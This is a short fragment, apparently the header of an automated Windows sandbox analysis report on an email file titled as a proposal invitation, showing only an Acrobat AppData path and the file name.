C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Windows Analysis Report
Proposal Invitation_ Proposal is Due by the EOB May 15.eml